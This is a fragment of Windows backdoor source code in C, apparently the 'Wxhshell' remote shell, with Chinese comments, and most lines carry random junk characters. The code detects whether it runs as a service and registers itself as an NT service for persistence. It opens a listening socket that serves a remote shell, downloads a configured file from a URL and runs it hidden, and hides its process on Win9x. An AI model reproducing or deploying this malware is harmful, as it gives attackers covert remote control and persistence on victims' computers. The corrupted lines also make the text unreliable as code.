ULONG UniqueProcessId; 4|Dxyb>pS
ULONG InheritedFromUniqueProcessId; Z)6gh{B08
} PROCESS_BASIC_INFORMATION; s!Xj'H7K
U}55;4^LX
PROCNTQSIP NtQueryInformationProcess; J?WT
Z^w}: {
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p#9.lFSX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w
a!g/\
`,mE
'3&
HANDLE hProcess; I-E}D"F;p[
PROCESS_BASIC_INFORMATION pbi; "(6]K}k@
#-ioLt%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /hPgOaB
if(NULL == hInst ) return 0; ?-
5{XrNm
T>l=0a #
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W2VH? -Gw
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dF2 &{D"J
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VuDSjh
]>NP?S
)R
if (!NtQueryInformationProcess) return 0; \$o!M1j
Ds4n>V,o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w`(EW>i
if(!hProcess) return 0; b]v.jgD
PK#; \Zw
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [-X=lJ:+h
(Yz EsY
CloseHandle(hProcess); `p@YV(
~yH<,e
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *~F\k):>
if(hProcess==NULL) return 0; tN&x6O+@
3%?01$k
HMODULE hMod; %(GWR@mfC
char procName[255]; ?\dY!
unsigned long cbNeeded; #>+O=YO
- Dm/7Sxd`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7q>WO
S3V3<4CB
CloseHandle(hProcess); w /$4
Rv+S
p/|]])2
if(strstr(procName,"services")) return 1; // 以服务启动 ozZW7dveU
%oasIiO
return 0; // 注册表启动 'u }|~u?m
} ;iJ*.wVq
5CZii=@
// 主模块 M),i4a?2
int StartWxhshell(LPSTR lpCmdLine) wu5]S)?*
{ Pa%;[hbn
SOCKET wsl; */iD68r|-
BOOL val=TRUE; 1$Rua
int port=0; =W(mZ#*vdY
struct sockaddr_in door; ^2L\Y2
9Xb,Swo~
if(wscfg.ws_autoins) Install(); H]V@Q~?e
UPs*{m
port=atoi(lpCmdLine); ?{W@TY@S
29DYL
if(port<=0) port=wscfg.ws_port; gF(aYuk
8A{n9>jrb
WSADATA data; .CI {g2
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q@K;u[zFK
rPVz!(;k
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p\]Mf#B
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *NdSL
door.sin_family = AF_INET; aZt5/|B
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8RJXY:%
door.sin_port = htons(port); 1
"'t5?XW
t|Cp<k]B
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uGIA4CUm
closesocket(wsl); w]b3,b
return 1; ~1&%,$fZ
} P?GHcq$\
{&,9Zy]"S
if(listen(wsl,2) == INVALID_SOCKET) { LAG*H
closesocket(wsl); L&O!"[++
return 1; Az.(tJ X"
} X{A|{ u=
Wxhshell(wsl); zr~hGhfq
WSACleanup(); '_& Xemz
q<mDs$^K
return 0; tbHU(#~
~1xln?Q
} _-aQ.p ?T
!Z978Aub3&
// 以NT服务方式启动 <[O8{9j
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QXZjsa_|
{ s`W\`w}
DWORD status = 0; CL{R.OA
DWORD specificError = 0xfffffff; ~kUdHne(
XXsN)2
serviceStatus.dwServiceType = SERVICE_WIN32; *-~B{2b<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; aIV(&7KT4
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 07WZ w1(;
serviceStatus.dwWin32ExitCode = 0; *RugVH4
serviceStatus.dwServiceSpecificExitCode = 0; '=?IVm#C
serviceStatus.dwCheckPoint = 0; va \5
serviceStatus.dwWaitHint = 0; x<#Z3Kla
Q2sX7
cE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qLkn a
if (hServiceStatusHandle==0) return; Rg3 Lo ?
o<@b]ukl&
status = GetLastError(); asT:/z0
if (status!=NO_ERROR) _"
0VM>
{ 7'pCFeA>=T
serviceStatus.dwCurrentState = SERVICE_STOPPED; &{${ Fq
serviceStatus.dwCheckPoint = 0; et|QW;*L
serviceStatus.dwWaitHint = 0; Fy!uxT-\
serviceStatus.dwWin32ExitCode = status; Ws'OJ1
serviceStatus.dwServiceSpecificExitCode = specificError; 'EFSr!+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 23XSQHVx
return; 8s6~l.v
} r8\"'4B1
`9QvokD
serviceStatus.dwCurrentState = SERVICE_RUNNING; ad^7t<a}<
serviceStatus.dwCheckPoint = 0; :7ej6
serviceStatus.dwWaitHint = 0; "YbvI@pD
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gJn|G#!
}
s)Bmi
'`g#Zo
// 处理NT服务事件,比如:启动、停止 t5dk}sRF
VOID WINAPI NTServiceHandler(DWORD fdwControl) MQc|j'vEY
{ fpbb <Ro
switch(fdwControl) >SO !{
{ C' x?riJ/
case SERVICE_CONTROL_STOP: ,c#IxB/0
serviceStatus.dwWin32ExitCode = 0; T_ifDQX;
serviceStatus.dwCurrentState = SERVICE_STOPPED; icW?a9 b&
serviceStatus.dwCheckPoint = 0; kfER
serviceStatus.dwWaitHint = 0; ld58R
{ f,GF3vu"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jUjgxP*7m
} Kn~f$1
return; W=YFe<Q
case SERVICE_CONTROL_PAUSE: %Od?(m"&
serviceStatus.dwCurrentState = SERVICE_PAUSED; )G$/II9d
break; IV$pA`|V
case SERVICE_CONTROL_CONTINUE: s)Bl1\Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; K5-wuD1
break; lA[BV7.=7
case SERVICE_CONTROL_INTERROGATE: M&P?/Zi=L
break; 4$Oakl*l
}; m89-rR:Kc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P/;sZo
} :wiQ^ea
zbsdK
// 标准应用程序主函数 y/t{*a
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PLDg'4DMg
{ nO^aZmSu
FoY_5/
// 获取操作系统版本 {qO[93yg)/
OsIsNt=GetOsVer(); 28qTC?
GetModuleFileName(NULL,ExeFile,MAX_PATH); @,
v'V!
(`+%K_
// 从命令行安装 II$B"-
if(strpbrk(lpCmdLine,"iI")) Install(); {@K>oaZ
_l$V|
// 下载执行文件 39| W(,
if(wscfg.ws_downexe) { ,!U._ic'B
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pyA;%vJn
WinExec(wscfg.ws_filenam,SW_HIDE); 4%L`~J4 wr
} *^R?*vNs
-r%4,4
if(!OsIsNt) { c@d[HstBJ
// 如果时win9x,隐藏进程并且设置为注册表启动 1fBj21zG
HideProc();
pv<$
o
StartWxhshell(lpCmdLine); 2QwdDKMS_
} O>]I!n`!!A
else ETk4I"
if(StartFromService()) ?+-uF}
// 以服务方式启动 nNNs3h(Ss
StartServiceCtrlDispatcher(DispatchTable); f7B)iI!
else ]A oRK=aH
// 普通方式启动 3!_X FV
StartWxhshell(lpCmdLine); aewVq@ngq!
0k"n;:KM8
return 0; ?@"F\Bv<h
}